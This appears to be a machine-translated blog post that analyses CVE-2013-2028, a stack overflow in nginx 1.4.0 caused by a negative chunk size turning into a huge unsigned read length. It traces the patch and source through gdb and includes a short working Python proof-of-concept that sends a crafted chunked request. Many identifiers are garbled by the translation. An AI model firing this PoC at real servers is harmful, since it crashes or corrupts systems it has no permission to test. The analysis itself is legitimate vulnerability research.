Trace vulnerability trigger path from patch

background

Operating system: ubuntu 18.04 64bit Vulnerability software: nginx-1.4.0

Vulnerability patch information

The trigger source of a vulnerability can be recognized from the patch.

View the patch information in github fixed chunk size parking. · nginx/nginx@818807d (github.com) as follows:

if (ctx->size < 0 || ctx->length < 0) {
goto invalid;
    }

return rc;

You can see the patch in / SRC / HTTP / NGX_ http_ NGX of parse. C_ http_ parse_ The negative value judgment of variables CTX - > length and CTX - > size is added to the return value of the chunked function

View the structure definition of ctx variable,

struct ngx_http_chunked_s {
ngx_uint_t           state;
off_t                size;
off_t                length;
};

You can see that the type variables of size and length are off_t. And off_t corresponds to long int, which is a signed variable (it's important to remember this).

Vulnerability trigger path analysis

As you can see from the previous step, the root cause of the vulnerability lies in / SRC / HTTP / NGX_ http_ NGX of parse. C_ http_ parse_ The chunked function is related to the negative variables CTX - > length and CTX - > size. Now start tracking the subsequent flow direction of these two variables.

2.1 vulnerability recurrence

POC information

The POC of this vulnerability can be found from the Internet as follows:

import socket

host = "127.0.0.1"
ip='127.0.0.1'

raw = '''GET / HTTP/1.1\r\nHost: %s\r\nTransfer-Encoding: chunked\r\nConnection: Keep-Alive\r\n\r\n''' % (host)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, 80))

data1 = raw
data1 += "f000000000000060" + "\r\n"

print data1
s.send(data1)

s.send("B" * 6000)
s.close()

This POC will send TCP request data twice. The first time is an HTTP request:

GET / HTTP/1.1
Host: 127.0.0.1
Transfer-Encoding: chunked
Connection: Keep-Alive

f000000000000060

The second time is a very long "B" string.

chunked HTTP request

The first HTTP request is special in that it is a request transmitted in blocks. In the request body, the length of the current block needs to be added at the beginning of each block, expressed in hexadecimal form, followed by '\ r\n', followed by the block itself, followed by '\ r\n'

Loophole recurrence

Find the pid of nginx working process in the shell, mount and debug with gdb, and break point in the patch function.

osboxes@osboxes:~$ ps aux |grep nginx
root      2081  0.0  0.0  21860  1908 ?        Ss   11:14   0:00 nginx: master process ./nginx -c conf/nginx.conf
nobody    7185  0.0  0.0  22256  2196 ?        S    17:32   0:00 nginx: worker process
osboxes   7406  0.0  0.0  14436  1008 pts/0    S+   19:13   0:00 grep --color=auto nginx
osboxes@osboxes:~$ sudo gdb -p 7185
pwndbg> b ngx_http_parse_chunked
Breakpoint 1 at 0x5599fb464871: file src/http/ngx_http_parse.c, line 1974.
pwndbg> c
Continuing.

Execute POC and check the function call stack. You can see the following:

Then we will analyze the trigger path of the vulnerability according to the source code

1.ngx_ HTTP_ parse_ The chunked function parses the block size in HTTP

View NGX_ http_ parse_ The chunked function. You can see that the main function of this function is to parse the chunk information in the HTTP request body.

ngx_int_t
ngx_http_parse_chunked(ngx_http_request_t *r, ngx_buf_t *b,
    ngx_http_chunked_t *ctx)
{
...
    state = ctx->state;
...
    rc = NGX_AGAIN;
...

        switch (state) {
                ...
        case sw_chunk_size:
            if (ch >= '0' && ch <= '9') {
                ctx->size = ctx->size * 16 + (ch - '0');
                break;
            }
            c = (u_char) (ch | 0x20);

            if (c >= 'a' && c <= 'f') {
                ctx->size = ctx->size * 16 + (c - 'a' + 10);
                break;
            }
                ...
    }

data:
    switch (state) {
...
    case sw_chunk_data:
        ctx->length = ctx->size + 4 /* LF "0" LF LF */;
        break;
...
    return rc;
...
}

When the block size in the HTTP request body, namely f000000000000060, is encountered, the string will be parsed into the corresponding hexadecimal number and saved in ctx - > size. Note that because it is signed, the value of ctx is negative. After that, the value of ctx - > size will be assigned to ctx - > lenth, that is:

ctx->lenth= ctx->size+4
          = parseLong('f000000000000060')+4
          = -1152921504606846880+4
          = -1152921504606846876

After that, the function returns rc=NGX_AGIN

2.ngx_ http_ discard_ request_ body_ The filter passes the value up further

According to the return value rc == NGX_AGAIN, this negative value will be further passed to R - > headers_ in.content_ length_ In the n variable, note that this is also an off_ Type T, that is, it is also * * negative** that is

r->headers_in.content_length_n = rb->chunked->length
                               = -1152921504606846876

After that, the function returns NGX_OK.

3.ngx_http_discard_request_body simple jump

In NGX_ http_ discard_ request_ In the body function, the control flow returns and enters another sub function.

4.ngx_http_read_discarded_request_body stack overflow

Escape ngx_min check

In NGX_ http_ read_ discard_ request_ The body function originally has a length range check ngx_min, but as we said earlier, the length is negative, so this check is bypassed

size is given an extra large value

Size in function_ T is an unsigned long int, so size is accidentally assigned to an extremely large value. that is

(size_t) size= r->headers_in.content_length_n
             = 17293822569102704740
recv writes the extra long input to the local variable buffer

After parsing the size, nginx will try to read the input again,

n = r->connection->recv(r->connection, buffer, size);

At this time, the system will try to write the input with size=17293822569102704740 into the local variable buffer, resulting in stack overflow.

Vulnerability data flow

The flow direction of summarized data is shown in the figure below:

summary

The reason for this vulnerability is that when a signed integer is converted to an unsigned number, it will become a maximum value, resulting in nginx reading an extremely long value from the socket into a local variable.

The vulnerability is triggered by three conditions:

Ensure access
ngx_http_parse_chunked
 Function to read the carefully set length

Reference: Nginx stack overflow analysis - CVE-2013-2028 - l3m0n - blog Garden (cnblogs.com)

https://www.cnblogs.com/iamstudy/articles/nginx_CVE-2013-2028_brop.html

Posted on Mon, 08 Nov 2021 07:32:33 -0500 by Miri4413